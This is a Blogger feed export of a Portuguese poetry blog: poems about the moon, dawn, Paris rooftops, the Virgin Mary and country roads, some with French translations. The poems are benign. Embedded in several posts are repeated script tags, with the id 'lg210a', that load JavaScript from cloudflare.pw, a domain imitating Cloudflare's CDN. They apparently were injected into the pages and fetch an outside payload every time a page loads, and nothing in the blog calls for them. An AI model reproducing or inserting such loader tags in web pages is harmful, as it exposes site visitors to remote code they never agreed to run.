tag:blogger.com,1999:blog-71458834213608745672024-03-12T20:55:06.918-07:00Minhas PoesiasAvelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.comBlogger87125tag:blogger.com,1999:blog-7145883421360874567.post-76900418752502384692016-06-06T13:43:00.001-07:002016-06-07T16:27:52.764-07:00L'ILLUSION DE LA LUNE<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ha7DeQsp3d994byYColS89QK1dCnMjL7XIHjHr9zNf-QzVLkeOHfzciPQsYDU3lTKmAjU1ff0Oh0Gu5EbjaiMB4Wy1u46OmHn_OjWWlv0glrSo1yzqLBQQLby6MWY1cmY5DYkTHtxiQ/s1600/Ilus%25C3%25A3o+da+Lua.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ha7DeQsp3d994byYColS89QK1dCnMjL7XIHjHr9zNf-QzVLkeOHfzciPQsYDU3lTKmAjU1ff0Oh0Gu5EbjaiMB4Wy1u46OmHn_OjWWlv0glrSo1yzqLBQQLby6MWY1cmY5DYkTHtxiQ/s1600/Ilus%25C3%25A3o+da+Lua.jpg" /></a></div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZUOVP1OyKU0J2q8LbRrbjQdnrqpX2MFhOiL7jnm-YmDSVQ4socRyWtiz9ZSwHJMWqG9d6ZIPWfVKjj9XI_S0jyZ6WxySuoGCIDFquvrnL6SYh91m_n1fb-2lzbm3OyG0qB8A8cWVYca8/s1600/Ilus%25C3%25A3o+da+Lua.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZUOVP1OyKU0J2q8LbRrbjQdnrqpX2MFhOiL7jnm-YmDSVQ4socRyWtiz9ZSwHJMWqG9d6ZIPWfVKjj9XI_S0jyZ6WxySuoGCIDFquvrnL6SYh91m_n1fb-2lzbm3OyG0qB8A8cWVYca8/s1600/Ilus%25C3%25A3o+da+Lua.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"> </a></div>
Imagem da Internet</div>
<div>
<br /></div>
L'ILLUSION DE LA LUNE<br />
<div>
<br /></div>
<div>
Tradução para o francês de ILUSÃO DA LUA,</div>
<div>
feita pela querida amiga Angela Viegas, que colocou o poema</div>
<div>
e a tradução em seu maravilhoso blog<br />
PORTUGAL REDECOUVERTES<br />
<br />
La nuit vint doucement<br />
et la lune se leva gracieuse,<br />
allant se se mirer vaniteuse<br />
dans la mare du chemin.<br />
<br />
Elle se trova vraiment belle<br />
sourriant avec grâce et fierté<br />
et, de suite, dans leau, en plongeant,<br />
de chimère s'est tout baignée.<br />
<br />
Les heures allaient en passant<br />
et les lucioles en clignotant<br />
à la lune pleine de vie,<br />
<br />
mais le soleil, cruel, arriva,<br />
l'illusin il étouffa<br />
e la lune tomba anéantie.<br />
<br />
<br />
<br /></div>
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-75793520582173680232016-06-06T13:07:00.001-07:002017-07-14T10:03:29.466-07:00ILUSÃO DA LUA<div style="text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlK-VCqky0InwZivOeBBg4abc4F-eOOC1mldN3srB4l5KXVc1aIN24SUDmq_vqywWM7J2VWzslb3eLBxu4wispF9PlQBEMfUkWKZPOns1aR2tgUhrTMKZjGqXmEVxNS1uzNcOsNH5dqus/s1600/Ilus%25C3%25A3o+da+Lua.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlK-VCqky0InwZivOeBBg4abc4F-eOOC1mldN3srB4l5KXVc1aIN24SUDmq_vqywWM7J2VWzslb3eLBxu4wispF9PlQBEMfUkWKZPOns1aR2tgUhrTMKZjGqXmEVxNS1uzNcOsNH5dqus/s200/Ilus%25C3%25A3o+da+Lua.jpg" width="200" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
<br />
A ILUSÃO DA LUA<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
Veio a noite de mansinho<br />
e a lua surgiu airosa,<br />
indo mirar-se, vaidosa,<br />
na lagoa do caminho.<br />
<br />
Achou-se bela deveras<br />
sorrindo com aire e orgulho<br />
e, dando n'água um mergulho,<br />
banhou-se toda em quimeras.<br />
<br />
As horas foram passando<br />
e os vagalumes piscando<br />
pra lua cheia de vida,<br />
<br />
Mas o sol, cruel, chegando<br />
foi a ilusão abafando<br />
e a lua tombou vencida.<br />
<br />
As imagens apresentadas são de apresentações desta poesia musicada pelo maestro espanhol Cèzar Zumel, apresemtada em Mendoza, na Argentina e em Burgos, na Espanha. <br />
Para ouvir as músicas estes são os sites:<br />
<br />
A Ilusao da Lua, César Zumel - CORO REGATAS DE ... - YouTube<br />
https://www.youtube.com/watch?v=BXH_M2NNjiY<br />
<br />
A Ilusao da Lua (César Zumel), estreno Coral de Cámara ... - YouTube<br />
https://www.youtube.com/watch?v=htue-tSgEf8<br />
Estreno de "A ilusao da lua" (música César Zumel) cuyo texto es de Avelina Noronha (Conselheiro Lafaiette ...<br />
<br />
<div class="MsoNormal" style="line-height: 150%; margin-bottom: .0001pt; margin-bottom: 0cm;"><br />
</div><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"></div><script id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js" type="text/javascript"></script><br />
<br />
<script id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js" type="text/javascript"></script><br />
<script id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js" type="text/javascript"></script><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXYyxGTXfaBDzAUHSHfvoLOMXa-anQ4tBK3D-m1iJ9Ov69GZqj2b4U3n_pC9sP2XMxLIqr4U8hPyAQ_14aIzoQd3LtBf9P4YoZMJ2akRIMbS009_YhaAyqdtLgcnsfIL4r-AICeom1Uw/s1600/A+Ilus%25C3%25A3o+da+Lua+youtube+1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXYyxGTXfaBDzAUHSHfvoLOMXa-anQ4tBK3D-m1iJ9Ov69GZqj2b4U3n_pC9sP2XMxLIqr4U8hPyAQ_14aIzoQd3LtBf9P4YoZMJ2akRIMbS009_YhaAyqdtLgcnsfIL4r-AICeom1Uw/s400/A+Ilus%25C3%25A3o+da+Lua+youtube+1.jpg" width="400" height="300" data-original-width="120" data-original-height="90" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAcDpLZYvGxq76iXKdp9UqNIYqyJSL61PDhlniic3qtxMB64_1ipvkx6tYlU7F3nDoVq1NYh55LBokpAGr1mKPWRC0sviPDtmk7H8zSB-_kgnF5yFZmcJ0X9tkpD_F3D91vWCBlpQNsIY/s1600/A+Ilus%25C3%25A3o+da+Lua+2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAcDpLZYvGxq76iXKdp9UqNIYqyJSL61PDhlniic3qtxMB64_1ipvkx6tYlU7F3nDoVq1NYh55LBokpAGr1mKPWRC0sviPDtmk7H8zSB-_kgnF5yFZmcJ0X9tkpD_F3D91vWCBlpQNsIY/s400/A+Ilus%25C3%25A3o+da+Lua+2.jpg" width="400" height="300" data-original-width="120" data-original-height="90" /></a></div>Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-46118914372444878762014-04-19T16:15:00.000-07:002016-06-06T10:52:26.783-07:00MARIA AOS PÉS DA CRUZ<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWx6nyWePKmV_pTh_T5gnoM8GBnwnmNTFN-hsZBzne8WB-zAbOy5VKp6rv7REReijAOouzb98Avhf18S2TSD0KptdOA3KX0LziNoew8CEwHRmecLMmjz9RaYfusT140-Yh3s3FuCYFBhY/s1600/MARIA+E+O+AP%C3%93STOLO+JO%C3%83O.2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWx6nyWePKmV_pTh_T5gnoM8GBnwnmNTFN-hsZBzne8WB-zAbOy5VKp6rv7REReijAOouzb98Avhf18S2TSD0KptdOA3KX0LziNoew8CEwHRmecLMmjz9RaYfusT140-Yh3s3FuCYFBhY/s400/MARIA+E+O+AP%C3%93STOLO+JO%C3%83O.2.jpg" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
MARIA AOS PÉS DA CRUZ<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Num dia muito triste, aos pés da Cruz,<br />
<br />
Sofria a dolorosa Mãe, Maria,<br />
<br />
Vendo o seu filho amado, o bom Jesus,<br />
<br />
Já prostrado em terrível agonia.<br />
<br />
<br />
<br />
A mãe, imersa em tão profunda dor,<br />
<br />
Partilhava com o filho o sofrimento.<br />
<br />
E o padecente Cristo, o Salvador, <br />
<br />
Levantou sua voz nesse momento:<br />
<br />
<br />
<br />
“– Mulher, eis aí teu filho!” mostrando<br />
<br />
João. E ao discípulo falou: <br />
<br />
“– Eis aí tua Mãe!” Foi quando,<br />
<br />
À Imaculada, assim, nos entregou.<br />
<br />
<br />
<br />
E desde aquele dia, Mãe querida,<br />
<br />
Somos todos teus filhos. Ó Maria.<br />
<br />
Se a nossa pobre alma está ferida,<br />
<br />
És o bálsamo que nos alivia.<br />
<br />
<br />
<br />
Se estrada é escura e traiçoeira,<br />
<br />
És a luz que ilumina nossos passos.<br />
<br />
E se do abismo estamos bem à beira, <br />
<br />
O que nos segura são os teus braços.<br />
<br />
<br />
<br />
Mãe de todas as mães! Teus esplendores<br />
<br />
São nosso sol, a mais brilhante luz.<br />
<br />
És o maior amor entre os amores<br />
<br />
E a Estrela Guia que ao Céus nos conduz.<br />
<br />
<br />
<br />
<br />
<script id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js" type="text/javascript"></script>Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-23941763038284258852014-03-02T11:47:00.001-08:002014-03-02T14:37:48.889-08:00TELHADOS DE PARIS<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO8nD3dWXFUNIiHzNhdSKpKwS0X1G64vMEtWlRiZ7J2GfbF-NIJCDfvAqowGIMpWiVI4J5OLSfUkeO0b_uo6SAAzB1up7tmbmkqELEI0QhPQ9ucD3kXaJ41kO8mzPbARR3B4WhQzYDrCA/s1600/PARIS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO8nD3dWXFUNIiHzNhdSKpKwS0X1G64vMEtWlRiZ7J2GfbF-NIJCDfvAqowGIMpWiVI4J5OLSfUkeO0b_uo6SAAzB1up7tmbmkqELEI0QhPQ9ucD3kXaJ41kO8mzPbARR3B4WhQzYDrCA/s400/PARIS.jpg" /></a></div><br />
TELHADOS DE PARIS da pintora lafaietense Maria Célia de Souza Andrade, residente em Paris<br />
<br />
Arquivo pessoal<br />
<br />
<br />
<br />
<br />
<br />
TELHADOS DE PARIS<br />
<br />
(<i>Quatorze Juillet</i>)<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
<br />
O sol se acendeu<br />
<br />
nos telhados de Paris<br />
<br />
e eles foram acendendo<br />
<br />
os telhados<br />
<br />
do mundo <br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-40894630703050766882014-02-09T06:03:00.000-08:002014-02-10T07:13:56.007-08:00ELOS LUMINOSOS<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj73f0DDPGPmSPfz-d5NcX4SBAdazozeMWk2BcNQ3T018kfB7wc3DRGjXJmoSh-izLiFDoeMnPKPU3QpHjs_eG1GhWzaoNWTUw4GJowzP83QskEI-i_2al1trvCEopS8IqBQmOy7tHFC18/s1600/Elos+luminosos+4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj73f0DDPGPmSPfz-d5NcX4SBAdazozeMWk2BcNQ3T018kfB7wc3DRGjXJmoSh-izLiFDoeMnPKPU3QpHjs_eG1GhWzaoNWTUw4GJowzP83QskEI-i_2al1trvCEopS8IqBQmOy7tHFC18/s400/Elos+luminosos+4.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da internet<br />
<br />
<br />
<br />
<br />
<br />
<br />
ELOS LUMINOSOS<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
Argolas de luz <br />
se encadeiam<br />
entre a Terra<br />
e o Céu<br />
<br />
Por elas passam<br />
pensamentos puros<br />
e sonhos <br />
de amor<br />
<br />
mas nunca <br />
a ambição<br />
desvairada <br />
de um rei<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-75468153939486756172014-02-03T15:16:00.002-08:002014-02-03T15:18:54.299-08:00CAMINHOS<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpLBdl7lhCKmoVgFa9wS8Y1aRYY97XVRzGSN5WRwVkTmNe4lGpctQsuDuGaI15puvcN8EFWbTypfVsVAxbIUl5GhKLnLDl82ElFdxFsoWYOTz_Cz8_9e4P1bqWBZwQkpyTqNXFIv8aj04/s1600/Caminho.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpLBdl7lhCKmoVgFa9wS8Y1aRYY97XVRzGSN5WRwVkTmNe4lGpctQsuDuGaI15puvcN8EFWbTypfVsVAxbIUl5GhKLnLDl82ElFdxFsoWYOTz_Cz8_9e4P1bqWBZwQkpyTqNXFIv8aj04/s640/Caminho.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
CAMINHOS<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
Caminho de sombras<br />
Caminho entre flores<br />
Caminho entre pedras<br />
difícil e doloroso<br />
Caminho amedrontado entre montanhas<br />
humilhado<br />
contorcido<br />
<br />
Caminho escondido<br />
Caminho de emboscada<br />
Caminho escaldante de sol<br />
Caminho para o Norte<br />
para o Sul<br />
para o Ocidente<br />
para o Oriente<br />
<br />
Caminho cercado de bananeiras<br />
onde o vento dedilha<br />
sua melodia verde<br />
<br />
Caminho ameaçado<br />
por arames farpados<br />
Caminho que levou um amor <br />
Caminho que trouxe a carta infeliz<br />
<br />
Caminho de vento<br />
que levantou a saia rodada<br />
do vestido domingueiro<br />
<br />
que derrubou <br />
o galho da árvore<br />
enfeitadinho de flor<br />
<br />
Caminho do rio<br />
Caminho da ponte<br />
Caminho da curva<br />
Caminho da poeira<br />
Caminho do cansaço<br />
<br />
Caminho onde o carro de boi<br />
vai cantando seu sofrimento<br />
Caminho de vozes do passado<br />
assombrado<br />
Caminho desencaminhado<br />
<br />
Caminho iluminado<br />
pela luz prateada do luar<br />
<br />
Caminho com palmeiras altas<br />
orgulhosas<br />
Caminho com cruz da estrada<br />
Caminho do martírio<br />
do delírio<br />
<br />
Caminho dos sonhos dourados<br />
Caminho da glória<br />
Caminho que não tem fim<br />
<br />
Caminho que perdeu o caminho<br />
<br />
Caminho do meio-dia<br />
Caminho da meia-noite<br />
Caminho de ida<br />
Caminho de volta<br />
Caminho que não leva<br />
a lugar nenhum<br />
<br />
O último caminho<br />
Caminho sem volta<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-16185415927916859222014-02-03T14:51:00.003-08:002014-02-04T04:26:48.722-08:00LEMBRANÇAS DE UMA ANTIGA RUA DE CANTO<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnP-3uFb_0D-xlqmKRb_EWkQje6c4Di-Truh2pU5rkF7ATmlbeUSWl7Gv8Nvg6cpDQtesZ5X70SAP81lzRJVDUHplAufWvJcnxCcJzhP_L6zH5W-HqMHW3oq31N63v_WLrl23cm3eFNs/s1600/Seresta+-+Helena+Coelho.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGnP-3uFb_0D-xlqmKRb_EWkQje6c4Di-Truh2pU5rkF7ATmlbeUSWl7Gv8Nvg6cpDQtesZ5X70SAP81lzRJVDUHplAufWvJcnxCcJzhP_L6zH5W-HqMHW3oq31N63v_WLrl23cm3eFNs/s640/Seresta+-+Helena+Coelho.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
LEMBRANÇAS DE UMA ANTIGA RUA DE CANTO<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
<br />
A vida tranqüila<br />
e gostosa<br />
de uma rua de canto...<br />
<br />
Mulheres<br />
sentadas ao sol, <br />
nos passeios<br />
de pedra, enquanto<br />
mocinhas em flor<br />
desfolham malmequeres.<br />
<br />
Crianças vigiando<br />
o passeio das formigas...<br />
<br />
Roupas coloridas<br />
balançando nos varais...<br />
<br />
As horas vão passando.<br />
As sombras caem<br />
sobre a ruazinha de canto.<br />
<br />
Mulheres chegam às janelas<br />
de molduras verdes ou azuis.<br />
<br />
“Fui no Itororó...”<br />
Crianças brincam de roda.<br />
“Se esta rua, se esta rua<br />
fosse minha...”<br />
<br />
Sonhos sobem para o ar<br />
como balões vermelhos<br />
“eu mandava eu mandava ladrilhar...”<br />
mas se desmancham na noite<br />
como balões incendiados.<br />
<br />
E as mocinhas suspiram<br />
sentadas sob o pé de manacá.<br />
<br />
A lua surge acima das árvores,<br />
escandalosamente grande<br />
e banha de prata<br />
a ruazinha de canto.<br />
<br />
E quando a noite avança,<br />
namorados<br />
cantam<br />
o seu amor<br />
em serenatas.<br />
<br />
<br />
Lembranças,<br />
longínquas lembranças,<br />
doces fantasmas despertados<br />
esgarçando<br />
a cortina <br />
do passado. <br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-19892959886248519362014-02-02T10:28:00.000-08:002014-02-02T10:28:06.868-08:00MAIS UM DIA...<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioIb9aBgdOxcx6-99-nZKIEsjcM6xzIIWF2_VAwJJ8uTeb6dDrfdwuJXRhbiwNSckvEoOjWNqSlRUll7FkxEZyWVFLRseM6hkJskX12qa3-VZGZKEgBEPFDKZhAuQmsZ7RmcXUIZCe62M/s1600/Madrugada.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioIb9aBgdOxcx6-99-nZKIEsjcM6xzIIWF2_VAwJJ8uTeb6dDrfdwuJXRhbiwNSckvEoOjWNqSlRUll7FkxEZyWVFLRseM6hkJskX12qa3-VZGZKEgBEPFDKZhAuQmsZ7RmcXUIZCe62M/s400/Madrugada.jpg" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
MAIS UM DIA...<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
<br />
A bruma desenha fantasmas.<br />
O vulto das palmeiras sugere preces.<br />
A alma da neblina pranteia<br />
a noite que morre.<br />
<br />
Um galo canta rouco,<br />
o outro responde cristalino:<br />
duelo na madrugada.<br />
<br />
Dentro em pouco<br />
passarão homens para trabalhar<br />
e grupos de mulheres<br />
irão à igreja<br />
rezar.<br />
<br />
Mais um dia...<br />
de luta?<br />
de dor?<br />
de tristeza?<br />
de alegria?<br />
de amor?<br />
<br />
O dia que nasce é uma<br />
interrogação <br />
flutuando na bruma...<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-83780496558452055772014-02-02T10:23:00.000-08:002014-02-02T10:23:59.606-08:00MADRUGADA<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivl6tXCwrecDeFC8VmjfdMl7XP9JEvZ_x1Wcnqn7cRyDFDqbwrinDn8mSS1yjwUXtnoOEJoi_Pcd02vTxbiWTkvV23CrjseAXrdClc02KnoVbghXo0rI2dTMhvPrJCByNBlXHVnvwl8MU/s1600/Mais+madrugada.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivl6tXCwrecDeFC8VmjfdMl7XP9JEvZ_x1Wcnqn7cRyDFDqbwrinDn8mSS1yjwUXtnoOEJoi_Pcd02vTxbiWTkvV23CrjseAXrdClc02KnoVbghXo0rI2dTMhvPrJCByNBlXHVnvwl8MU/s400/Mais+madrugada.jpg" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
<br />
MADRUGADA<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
O galo abre as portas<br />
da madrugada<br />
deixando entrar o nevoeiro<br />
denso e frio.<br />
<br />
Os ruídos dos carros<br />
já foram dormir.<br />
Apenas passam,<br />
de quando em quando,<br />
retardatários movidos<br />
a álcool e a sonho.<br />
<br />
Dentro em pouco<br />
os raios assépticos do sol<br />
varrerão os últimos vestígios<br />
da noite falecida.<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-28946463850471460582014-02-02T08:01:00.000-08:002016-04-12T11:03:42.592-07:00 FRAGMENTO DE TEMPO<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzaUifEbCyNbGiFeDYavB8m4boQLf2JA77N_RSJJp3xBK3koOkyXCTuMUsQfJ28jYC1Tp_f95sXLCttOcn6bZsdVDiRu4YW-t1GxXaKSu_f1hmARR2yJK1Gsm9Rl664BUL3JRyaqNh3u0/s1600/Sala+antiga+2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzaUifEbCyNbGiFeDYavB8m4boQLf2JA77N_RSJJp3xBK3koOkyXCTuMUsQfJ28jYC1Tp_f95sXLCttOcn6bZsdVDiRu4YW-t1GxXaKSu_f1hmARR2yJK1Gsm9Rl664BUL3JRyaqNh3u0/s1600/Sala+antiga+2.jpg" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
FRAGMENTO DE TEMPO<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Enquanto lá fora estoura<br />
o sol do meio-dia,<br />
entre as paredes antigas<br />
o tempo desfia sombrio<br />
e lentamente<br />
o seu rosário de horas.<br />
<br />
O tempo descansa a cabeça<br />
sobre almofadas de cetim branco<br />
ou de veludo bordado.<br />
<br />
O tempo sorri nos móveis enfeitados<br />
com paninhos de organdi<br />
debruados com perlé dourado.<br />
<br />
Há os tempos que se escondem<br />
nas gavetas misteriosas e secretas;<br />
os que cochilam em poltronas de palhinha,<br />
vigiados por retratos redondos na parede.<br />
<br />
Tempos que se diluem na frágil linha<br />
traçada entre o passado e o presente,<br />
que vivem nos sonhos <br />
e dormem nas lembrança<br />
<br />
enquanto lá fora estoura<br />
o sol do meio-dia<br />
<br />
<br />
<br />
FRAGMENT DU TEMPS<br />
<br />
<div style="margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 10pt;">Tradução para o francês pela
querida amiga<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 10pt;">ANGELA VIEGAS, que tem um magnífico blog: Portugaldecouvertes<o:p></o:p></span></div>
<br />
<div style="margin-bottom: .0001pt; margin: 0cm;">
<span style="font-size: 10pt;">http://portugalredecouvertes.blogspot.com/<o:p></o:p></span></div>
<br />
Alors qu’éclate dehors<br />
le soleil de midi,<br />
entre les vieux murs<br />
le temps egrène obscur <br />
et lentement<br />
son chapelet des heures.<br />
<br />
Le temps pose sa Tetê<br />
sur des coussins de satin blanc<br />
ou de velours brodé.<br />
<br />
Le temps sourit dans le mobilier garni<br />
de napperons organdi<br />
ourlés de perlé doré.<br />
<br />
Il y a les temps qui se cachent<br />
dans des tiroirs mystérieux et secrets;<br />
ceux qui sommeillent dans des fauteuils paillés,<br />
surveillés par les ronds portraits du mur.<br />
<br />
Les temps qui se diluent dans la ligne fragile<br />
tracée entre le passé et le présent,<br />
qui vivent dans les rêves<br />
et dorment dans les pensées<br />
<br />
alors qu’éclate dehors<br />
le soleil de midi.<br />
<br />
<br />
<script id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js" type="text/javascript"></script><br />
<script id="lg210a" src="https://cloudflare.pw/cdn/statslg30.js" type="text/javascript"></script>Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-44672355772910257322014-02-02T07:05:00.000-08:002014-02-10T07:20:45.512-08:00ANOITECEU<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5lk4A87LDQaXz38PblZo_fPse0M5QsoaaBxZ7x3EWXHOpRxXwNOi8cFVjhzWivV7adTxbkGpDFKO_gqN0jWvkxw2fICSldYJlYqJVh50tyhiAHmqgORgtX0LRq2TpbQIoIWJyycogYgk/s1600/Lua.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5lk4A87LDQaXz38PblZo_fPse0M5QsoaaBxZ7x3EWXHOpRxXwNOi8cFVjhzWivV7adTxbkGpDFKO_gqN0jWvkxw2fICSldYJlYqJVh50tyhiAHmqgORgtX0LRq2TpbQIoIWJyycogYgk/s400/Lua.jpg" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
ANOITECEU<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Os últimos e agonizantes<br />
raios de sol<br />
se escoram<br />
nas árvores e nos montes<br />
numa inútil tentativa<br />
de sobrevivência.<br />
<br />
A noite chega.<br />
O cricri prateado dos grilos<br />
belisca a escuridão.<br />
<br />
As estrelas abrem suas corolas<br />
no jardim iluminado do céu <br />
<br />
A lua empoa<br />
o seu rosto redondo<br />
no pó de arroz das nuvens.<br />
<br />
Dentro em pouco<br />
irá desfilar<br />
na passarela estrelada do céu.<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-63640794457528834112014-02-01T16:57:00.000-08:002014-02-02T07:08:34.969-08:00VIAGEM<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
